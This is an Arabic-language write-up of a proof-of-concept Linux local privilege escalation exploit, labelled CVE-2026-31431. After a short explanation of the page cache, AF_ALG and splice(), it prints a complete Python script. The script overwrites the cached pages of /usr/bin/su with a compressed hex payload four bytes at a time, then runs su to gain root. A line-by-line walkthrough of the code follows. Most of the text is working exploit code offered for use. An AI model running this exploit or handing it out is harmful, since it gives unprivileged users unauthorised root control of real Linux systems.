
استغلال PoC لثغرة CVE-2026-31431 يستخدم AF_ALG و splice() للكتابة فوق ذاكرة التخزين المؤقت للصفحات في لينكس وتعديل /usr/bin/su في الذاكرة، مما يرفع صلاحيات المستخدمين غير المميزين إلى صلاحيات الجذر.
بدلاً من أن يقوم النظام بجلب الملفات باستمرار مباشرةً من القرص الصلب الفيزيائي البطيء — وهو ما يهدر الكثير من الوقت — يقوم نظام لينكس بإنشاء نسخة مؤقتة من الملف داخل ذاكرة الوصول العشوائي (RAM)، تُعرف باسم Page Cache. وهذا يسمح للنظام بتنفيذ الملف وقراءته بشكل شبه فوري، بالكامل داخل الذاكرة.
تعتمد هذه العملية على وظيفتين رئيسيتين:
AF_ALG: مسؤولة عن التعامل مع عمليات التشفير للملفات والبيانات داخل النواة (Kernel).
splice(): مسؤولة عن نقل البيانات مباشرةً من موقع ذاكرة إلى آخر بسرعات عالية للغاية (نسخ صفري Zero-Copy).
يستغل هذا الاستغلال هاتين الوظيفتين. عندما يحاول النظام معالجة الملف وتنفيذه في الذاكرة، يصادف كود الحمولة المحقونة. ولأن نواة لينكس نفسها تتولى إدارة الذاكرة، فإنها لا تشك أبدًا في وجود خطأ منطقي أو تعديل غير قانوني حدث هناك.
باختصار: تقوم الثغرة بالتلاعب بالذاكرة لتجاوز التشفير/الفحوصات على الملف المستهدف. ثم تستبدل تعليمات محددة من 4 بايت داخل الذاكرة بحيث يُمنح أي مستخدم غير مميز صلاحية Root فورًا — مع تنفيذ العملية بأكملها مباشرةً بواسطة النواة.
Python
#!/usr/bin/env python3
import os as g, zlib, socket as s
def d(x): return bytes.fromhex(x)
def c(f, t, c):
a = s.socket(38, 5, 0)
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
h = 279
v = a.setsockopt
v(h, 1, d('0800010000000010' + '0' * 64))
v(h, 5, None, 4)
u, _ = a.accept()
o = t + 4
i = d('00')
u.sendmsg([b"A" * 4 + c], [(h, 3, i * 4), (h, 2, b'\x10' + i * 19), (h, 4, b'\x08' + i * 3)], 32768)
r, w = g.pipe()
n = g.splice
n(f, w, o, offset_src=0)
n(r, u.fileno(), o)
try: u.recv(8 + t)
except: 0
f = g.open("/usr/bin/su", 0)
i = 0
e = zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i < len(e):
c(f, i, e[i:i+4])
i += 4
g.system("su")
e = zlib.decompress(d("78daab77..."))
يقوم هذا السطر باستخراج الحمولة المضغوطة بصيغة hex. يمكنك التفكير في هذه الحمولة على أنها ناقل الحقن المصمم لمنح صلاحيات Root. تقوم بتحويل بيانات hex إلى بايتات خام ليتم كتابتها في الذاكرة لتجاوز مصادقة كلمة المرور.
a = s.socket(38, 5, 0) , n(f, w, o) , n(r, u.fileno(), o)
يفتح السكريبت مؤشرًا للقراءة فقط على ملف /usr/bin/su (الملف التنفيذي المسؤول عن تبديل صلاحيات المستخدم). ويقوم بإعداد مقبس AF_ALG (معرف AF_ALG = 38) ويستخدم استدعاء النظام splice() لدفق صفحات ذاكرة /usr/bin/su مباشرةً إلى محرك التشفير في النواة.
استبدال ذاكرة النواة:
بسبب الخلل في وحدة التشفير الخاصة بالنواة (algif_aead)، تنخدع النواة أثناء العملية. فبدلاً من كتابة المخرجات المعالجة في مخزن مؤقت عادي، تقوم بكتابة الحمولة مباشرةً فوق صفحة ملف /usr/bin/su الثنائي المخزنة في RAM (Page Cache).
while i < len(e): c(f, i, e[i:i+4]); i += 4 &
g.system("su")يقوم السكريبت بتشغيل حلقة يكتب فيها الحمولة 4 بايتات في كل مرة إلى عناوين ذاكرة متتالية. وعندما تنتهي الحلقة من تصحيح التعليمات في الذاكرة، ينفذ الأمر su. وبما أن النواة تنفذ الآن الكود المعدل في الذاكرة، يتم تجاوز فحوصات كلمة المرور، مما يمنح صلاحيات Root لأي شخص يشغّل الأمر.